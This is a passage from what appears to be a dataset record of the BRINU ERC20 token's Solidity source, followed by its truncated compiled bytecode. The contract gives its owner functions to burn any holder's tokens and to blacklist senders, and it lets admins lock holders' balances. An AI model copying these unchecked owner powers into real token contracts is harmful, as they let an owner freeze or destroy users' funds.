function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BRINU is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBlackList(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (
sys.amountToken,
sys.lockUntil
);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d6919146108b2578063dd62ed3e1461090c578063df698fc914610984578063f2fde38b146109c857610173565b806395d89b4114610767578063a457c2d7146107ea578063a9059cbb1461084e57610173565b806370a08231146105aa578063715018a6146106025780637238ccdb1461060c578063787f02331461066b57806384d5d944146106c55780638da5cb5b1461073357610173565b8063313ce56711610130578063313ce567146103b557806339509351146103d65780633d72d6831461043a57806352a97d521461049e578063569abd8d146104f85780635e558d221461053c57610173565b806306fdde0314610178578063095ea7b3146101fb57806318160ddd1461025f57806319f9a20f1461027d57806323b872dd146102d757806324d7806c1461035b575b600080fd5b610180610a0c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c05780820151818401526020810190506101a5565b50505050905090810190601f1680156101ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102476004803603604081101561021157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aae565b60405180821515815260200191505060405180910390f35b610267610acc565b6040518082815260200191505060405180910390f35b6102bf6004803603602081101561029357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad6565b60405180821515815260200191505060405180910390f35b610343600480360360608110156102ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9a565b60405180821515815260200191505060405180910390f35b61039d6004803603602081101561037157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c73565b60405180821515815260200191505060405180910390f35b6103bd610cc9565b604051808260ff16815260200191505060405180910390f35b610422600480360360408110156103ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ce0565b60405180821515815260200191505060405180910390f35b6104866004803603604081101561045057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d93565b60405180821515815260200191505060405180910390f35b6104e0600480360360208110156104b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e73565b60405180821515815260200191505060405180910390f35b61053a6004803603602081101561050e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f51565b005b6105926004803603606081101561055257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506111a5565b60405180821515815260200191505060405180910390f35b6105ec600480360360208110156105c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061126d565b6040518082815260200191505060405180910390f35b61060a6112b5565b005b61064e6004803603602081101561062257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611440565b604051808381526020018281526020019250505060405180910390f35b6106ad6004803603602081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114b4565b60405180821515815260200191505060405180910390f35b61071b600480360360608110156106db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611592565b60405180821515815260200191505060405180910390f35b61073b61166c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61076f611696565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107af578082015181840152602081019050610794565b50505050905090810190601f1680156107dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108366004803603604081101561080057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611738565b60405180821515815260200191505060405180910390f35b61089a6004803603604081101561086457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611805565b60405180821515815260200191505060405180910390f35b6108f4600480360360208110156108c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611823565b60405180821515815260200191505060405180910390f35b61096e6004803603604081101561092257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611879565b6040518082815260200191505060405180910390f35b6109c66004803603602081101561099a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611900565b005b610a0a600480360360208110156109de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b71565b005b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aa45780601f10610a7957610100808354040283529160200191610aa4565b820191906000526020600020905b815481529060010190602001808311610a8757829003601f168201915b5050505050905090565b6000610ac2610abb611e09565b8484611e11565b6001905092915050565b6000600554905090565b60006001151560026000610ae8611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610b88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b610b9182612008565b60019050919050565b6000610ba784848461214c565b610c6884610bb3611e09565b610c638560405180606001604052806028815260200161330660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c19611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b600190509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600860009054906101000a900460ff16905090565b6000610d89610ced611e09565b84610d848560046000610cfe611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b611e11565b6001905092915050565b6000610d9d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e5f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610e69838361295d565b6001905092915050565b6000610e7d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610f4882612b21565b60019050919050565b610f59611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60001515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806133e06021913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561114a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132886026913960400191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600060011515600260006111b7611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611257576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b611262848484612cf1565b600190509392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112bd611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000806000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050806001015442111561149f5760008092509250506114af565b8060000154816001015492509250505b915091565b60006114be611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611580576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61158982612f2c565b60019050919050565b600060011515600260006115a4611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611644576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b61165661164f611e09565b858561214c565b611661848484612cf1565b600190509392505050565b6000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561172e5780601f106117035761010080835404028352916020019161172e565b820191906000526020600020905b81548152906001019060200180831161171157829003601f168201915b5050505050905090565b60006117fb611745611e09565b846117f6856040518060600160405280602581526020016133bb602591396004600061176f611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b6001905092915050565b6000611819611812611e09565b848461214c565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611908611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611a90576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f776e61626c653a2061646472657373206973206e6f742061646d696e00000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132626026913960400191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611b79611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c3b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611cc1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131d26026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611dff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e97576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806133746024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806131f86022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b60008160010181905550600081600001819055506000808373ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a45050565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061334f6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561229b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061316a6023913960400191505060405180910390fd5b60001515600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612361576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f45524332303a2073656e6465722061646472657373200000000000000000000081525060200191505060405180910390fd5b61236c84848461311a565b6000816000015411156126f15780600101544211156124de5760008160010181905550600081600001819055506124048260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612497826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126ec565b600061254f826000015460405180606001604052806022815260200161321a602291396000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b905061257e8360405180606001604052806026815260200161323c602691398361289d9092919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061261582600001546000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126a8836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b612832565b61275c8260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ef826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600083831115829061294a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561290f5780820151818401526020810190506128f4565b50505050905090810190601f16801561293c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061332e6021913960400191505060405180910390fd5b6129ef8260008361311a565b612a5a816040518060600160405280602281526020016131b0602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ab18160055461311f90919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612ba7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612c50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061318d6023913960400191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600115158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612dd7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b612dee838260000154611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612e84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806132ae6030913960400191505060405180910390fd5b60008160010154118015612e9b5750806001015442115b15612eb55760008160010181905550600081600001819055505b818160010181905550612ed5838260000154611d8190919063ffffffff16565b81600001819055508181600001548573ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a450505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612fb2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514613078576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2041646472657373206e6f7420626c61636b6c6973746564000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600015158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b505050565b600061316183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061289d565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e206973207